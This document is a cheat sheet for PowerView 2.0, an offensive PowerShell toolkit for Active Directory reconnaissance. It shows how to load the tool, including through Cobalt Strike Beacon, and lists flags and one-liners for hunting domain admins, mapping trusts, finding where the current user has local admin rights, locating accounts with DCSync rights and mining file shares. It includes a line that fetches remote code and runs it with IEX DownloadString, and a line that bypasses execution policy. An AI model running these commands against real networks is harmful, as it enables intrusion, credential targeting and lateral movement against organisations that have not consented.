Powerview 2.0 Cheat Sheet

Getting Started

Get PowerView: http://bit.ly/1I9OICy

Load from disk: 1) C:\> **powershell –exec bypass** 2) **PS C:\> Import-Module powerview.ps1**

From GitHub: PS C:\> **IEX (New-Object Net.WebClient).DownloadString("http://bit.ly/1I9OICy")**

Run on non-domain joined machine: 1) configure DNS to point to DC of domain, 2) **runas /netonly /user:DOMAIN\user powershell.exe**

Load in Cobalt Strike's Beacon: **beacon> powershell-import /local/path/to/powerview.ps1** , then **beacon> powershell CMDLET-NAME**

Getting help: PS C:\> **Get-Help Cmdlet-Name [-detailed] [-full]**

Most PowerView functions are implemented in Empire in **situational_awareness/network/powerview/***

Filtering and Output

Execute a command on each result object	**… | %{…Invoke-Command $_ }**
Filter result objects by field	**… | ? {$_.Field –eq X}**
Only return certain properties	**… | Select prop1,prop2**
Display output as a list	**… | fl**
Display output as wrapped table	**… | ft -wrap**
Write out to file	**… | Out-File -Encoding Ascii out.txt**
Write to .csv	**… | Export-CSV -NoTypeInformation out.csv**
Write to .xml object	**…| Export-Clixml obj.xml**
Read .xml object	**$obj = Import-Clixml obj.xml**

Common Cmdlet Options

Display verbose status/debug information	**-Verbose**
Add a 10 second delay between enumerating each machine	**-Delay 10**
Pull information from a foreign domain. Otherwise functions default to the current domain	**-Domain foreign.com**
Reflect LDAP queries through a specific DC	**-DomainController dc.domain.com**
Execute a command/search on/for a specified computer	**-ComputerName SERVER.domain.com**

Many "meta" functions (e.g. **Invoke-UserHunter**) also have additional common options:

Execute function with 15 threads (nice speedup!)	**-Threads 15**
Don't ping machines before enumerating them	**-NoPing**
File of computer names to enumerate	**-ComputerFile file.txt**
Enumerate computers found w/ specific LDAP filter	**-ComputerFilter "(description=*web*)"**
Enumerate computers on a specific ADS path (e.g. in specific OUs)	**-ComputerADSpath "LDAP://OU=secret,..."**
File of user names to search for	**-UserFile users.txt**
Search for users w/ specific LDAP filter	**-UserFilter "(description=*web*)"**
Only search for users on a specific ADS path	**-UserADSpath "LDAP://OU=secret, ..."**

Computer Enumeration

Get-NetComputer will enumerate computer objects on a given domain through LDAP, returning hostnames by default.

Return only live hosts	**-Ping**
Full computer objects (not just hostnames)	**-FullData**
Search w/ specific LDAP filter	**-Filter "(description=*web*)"**
Search specific domain ADS path (e.g. OUs)	**-ADSpath "LDAP://OU=secret, ..."**
Machines with unconstrained delegation	**-Unconstained**

Identifying Your Prey

Get-NetGroup will enumerate *group* objects themselves on a given domain through LDAP.

Return specific name results	**-GroupName *admin***
Full group objects	**-FullData**
(Nested) groups a specific user is a member of	**-UserName USER**

Get-NetGroupMember will enumerate the *members* of a specific group on a given domain through LDAP.

Specified group name	**-GroupName "Domain Admins"**
Full user objects	**-FullData**
Recursively resolve the members of any results that are groups	**-Recurse**

Get-NetUser will enumerate user objects on a given domain through LDAP.

Return specific name results	**-UserName "*john*"**
Search w/ specific LDAP filter	**-Filter "(field=*term*)"**
Return users who are (or were) a member of an admin protected group	**-AdminCount**

Users with a service principal name set (likely service accounts)	**-SPN**
Search specific domain ADS path	**-ADSpath "LDAP://OU=secret, ..."**

Find-UserField will search a specified user field/property for a given term for all user objects through LDAP.

Specify the field to search	**-SearchField description**
Term to search for	**-SearchTerm term**

User-Hunting

Invoke-UserHunter will use LDAP queries and API calls to locate users on the domain. **Note:** default behavior searches for "Domain Admins" and touches every machine on the domain!

Hunt for members of a specific group	**-GroupName "Web Admins"**
Show all results (i.e. don't filter by user targets)	**-ShowAll**
Hunt using only session information from file servers/DCs	**-Stealth**
Hunt for users who are effective local admins for a given server	**-TargetServer SERVER.domain.com**
Stop on first successful result found	**-StopOnSuccess**
Return users not in the local (or targeted) domain	**-ForeignUsers**

Domain [Trusts]

Info on the current domain	**Get-NetDomain**
Domain controllers for the current domain	**Get-NetDomainController**
Info on the current forest	**Get-NetForest**
Enumerate all domains in the current forest	**Get-NetForestDomain**
Get all forest trusts for the current forest	**Get-NetForestTrust**
Get all domain trusts (à la nltest /trusted_domains)	**Get-NetDomainTrust**
Recursively map all domain trusts	**Invoke-MapDomainTrust**
Find users in groups outside of the given domain (*outgoing* access)	**Find-ForeignUser**
Find groups w/ users outside of the given domain (*incoming* access)	**Find-ForeignGroup –Domain target.domain.com**

Data Mining

Invoke-ShareFinder will use LDAP queries and API calls to search for open shares on the domain. **Note:** default behavior touches every machine on the domain!

Only return shares the current user can read	**-CheckShareAccess**

Find-InterestingFile will recursively search a given local/UNC path for files matching specific criteria.

Search a specific UNC path	**-Path \\SERVER\Share**
Only return files with the specified search terms in their names	**-Terms term1,term2,term3**
Only return office docs	**-OfficeDocs**
Only return files accessed within the last week	**-LastAccessTime (Get-Date).AddDays(-7)**

Local Admin Enumeration

Get-NetLocalGroup will enumerate the local users/groups from localhost or a remote machine.

Enumerate local admins from hostname (or IP)	**-ComputerName X**
List the local groups instead of group members	**-ListGroups**
Enumerate local group besides 'Administrators'	**-GroupName "Remote Desktop Users"**
Resolve any resulting group objects, giving a set of effective users	**-Recurse**

Misc. Functions

Search domain OUs	**Get-NetOU**
Get all likely fileservers	**Get-NetFileServer**
Get shares for a specific machine	**Get-NetShare X.domain.com**
Get sessions for a specific machine	**Get-NetSession X.domain.com**
Get logged on users for a specific machine	**Get-NetLoggedOn X.domain.com**
Get RDP sessions (and source IPs)	**Get-NetRDPSession X.domain.com**
Get (possibly) exploitable systems	**Get-ExploitableSystem**

Power-One-Liners

Take a GPP GUID and get all computers the local admin password is applied to: **Get-NetOU -GUID {GPP_GUID} | %{ Get-NetComputer -ADSPath $_ }**

Find machines the current user has local admin access on: **Find-LocalAdminAccess**

Get the default domain access policy: **Get-DomainPolicy | Select -Expand SystemAccess**

See who can admin all domain controllers in the current domain: **Get-NetDomainController | Get-NetLocalGroup**

See what objects have DCSync rights: **Get-ObjectACL -DistinguishedName "dc=domain,dc=local" -ResolveGUIDs | ? { ($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')}**

Users w/ sidHistory: **Get-NetUser -Filter '(sidHistory=*)'**

Users with passwords > 1 year: **$Date = (Get-Date).AddYears(-1).ToFileTime();Get-NetUser -Filter "(pwdlastset<=$Date)"**

FileFinder w/ share list: **Invoke-FileFinder –ShareList .\shares.txt –OutFile files.csv**

Search SYSVol for common scripts: **Invoke-FileFinder –SearchSYSVol**

More Information

http://www.harmj0y.net/blog/tag/powerview/

http://www.verisgroup.com/adaptive-threat-division/